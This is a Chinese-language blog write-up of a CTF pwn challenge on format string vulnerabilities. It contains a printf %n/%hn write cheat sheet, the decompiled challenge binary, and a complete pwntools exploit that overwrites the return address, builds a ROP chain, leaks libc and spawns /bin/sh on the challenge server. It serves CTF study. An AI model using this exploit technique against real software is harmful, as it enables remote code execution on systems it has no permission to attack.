avatar

CTF-Pwn-格式化字符串漏洞

Printf利用


Printf基本操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
32位

'%{}$x'.format(index) // 读4个字节
'%{}$p'.format(index) // 同上面
'${}$s'.format(index)

'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节
64位

'%{}$x'.format(index, num) // 读4个字节
'%{}$lx'.format(index, num) // 读8个字节
'%{}$p'.format(index) // 读8个字节
'${}$s'.format(index)

'%{}$n'.format(index) // 解引用,写入四个字节
'%{}$hn'.format(index) // 解引用,写入两个字节
'%{}$hhn'.format(index) // 解引用,写入一个字节
'%{}$lln'.format(index) // 解引用,写入八个字节
%1$lx: RSI
%2$lx: RDX
%3$lx: RCX
%4$lx: R8
%5$lx: R9
%6$lx: 栈上的第一个QWORD

Pwntools集成printf

1
2
payload = fmtstr_payload(offset,{address:value},write_size="short")
# write_size = "byte" | "short"

Printf的高级利用


前言:我们遇到的简单格式化字符串漏洞的buf都是在栈里的,但是如果他它存在于bss里,该怎么办,具体题目如下

文件下载 format.rar

题目来自 2019.6.16看雪论坛CTF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [esp+0h] [ebp-10h]
unsigned int v6; // [esp+4h] [ebp-Ch]
int *v7; // [esp+8h] [ebp-8h]

v7 = &argc;
v6 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to kanxue 2019, your pwn like cxk");
do
{
while ( 1 )
{
menu();
read(0, &buf, 4u);
v3 = atoi(&buf);
if ( v3 != 1 )
break;
printf("What do tou want to say:");
read_input((int)&echo, 24);
printf((const char *)&echo); //echo在bss段,而不是在buf中
puts((const char *)&unk_A97);
}
}
while ( v3 != 2 );
return 0;
}

思路:利用栈中上一个函数压入的ebp作为跳板,修改低位使其指向当前函数的ret,然后构造ROP链,所以两次printf就可以写入ret处两个字节数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
context.log_level = "debug"
#sh = process("./format")
lib = ELF("libc-2.23.so")
sh = remote("152.136.18.34",9999)
elf = ELF("format")
base_addr = 0
ret_addr = 0
ret2addr = 0
def getBaseAddress():
global base_addr
sh.recvuntil("Choice:")
sh.sendline("1")
sh.recvuntil("What do tou want to say:")
sh.sendline("%3$p")
sh.recvuntil("0x")
base_addr = int(sh.recv(8),16)
base_addr = (base_addr>>12) << 12
log.success("base_addr :"+hex(base_addr))
def getRetAddress():
global ret_addr
sh.recv()
sh.sendline("1")
sh.recvuntil("What do tou want to say:")
sh.sendline("%5$p")
sh.recvuntil("0x")
ret_addr = int(sh.recv(8),16)
ret_addr = (ret_addr - 0xD4) + 60
log.success("ret_addr :"+hex(ret_addr))
def getRet2Address():
global ret2addr
sh.recv()
sh.sendline("1")
sh.recvuntil("What do tou want to say:")
sh.sendline("%15$p")
sh.recvuntil("0x")
ret2addr = int(sh.recv(8),16)
log.success("ret2addr :" + hex(ret2addr))
def inputMsg(msg):
sh.recvuntil("Choice:")
sh.sendline("1")
sh.recvuntil("say:")
sh.sendline(msg)
def writeByte(byte,offset):
_offset = (ret_addr + offset) % 0x10000
if(byte == 0):
inputMsg("%." + str(_offset) + "d%5$hn")
inputMsg("%53$hn")
else:
inputMsg("%." + str(_offset) + "d%5$hn")
inputMsg("%." + str(byte) + "d%53$hn")
def write2Bytes(bytes,offset):
_offset = offset
writeByte(bytes % 0x10000,_offset)
writeByte(bytes >> 16,_offset+2)
return _offset + 4
if __name__ == '__main__':
# 0xff889254 - 0xff889180 = 0xD4
# 0xffc25204 - 0xffc25130 = 0xD4
global base_addr
global ret2addr
global ret_addr
pop_ret = 0x00000585
getBaseAddress()
getRetAddress()
getRet2Address()
offset = 0;
pop_ebx_ret = 0x00000585
pop_ebp_ret = 0x000009eb
pop3_ret = 0x000009e9
offset = write2Bytes(pop_ebx_ret + base_addr,offset)
offset = write2Bytes(base_addr + 0x1FB0 , offset)
offset = write2Bytes(base_addr+elf.plt['puts'],offset)
offset = write2Bytes(pop_ebp_ret + base_addr,offset)
offset = write2Bytes(base_addr+elf.got['__libc_start_main'],offset)
offset = write2Bytes(base_addr+elf.plt['read'],offset)
offset = write2Bytes(pop3_ret+base_addr,offset)
offset = write2Bytes(0,offset)
offset = write2Bytes(ret_addr+offset - 8,offset)
offset = write2Bytes(100,offset)
sh.sendline("2")
sh.recvuntil("Choice:")
libc = u32(sh.recv(4))
log.success("libc :" + hex(libc))
# system_addr = libc + 0x24470
# binsh_addr = libc + 0x16533f
system_addr = libc - lib.symbols['__libc_start_main'] + lib.symbols['system']
binsh_addr = libc - lib.symbols['__libc_start_main'] + next(lib.search("/bin/sh"))
payload = p32(system_addr) + p32(0) + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()

运行结果:

flag{c6671fc0-cea3-42ef-8af0-c20c65f854be}

文章作者: 咲夜南梦
文章链接: http://yoursite.com/2019/06/11/CTF-Pwn-%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%BC%8F%E6%B4%9E/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 咲夜南梦's 博客
打赏
  • 微信
    微信
  • 支付宝
    支付宝

评论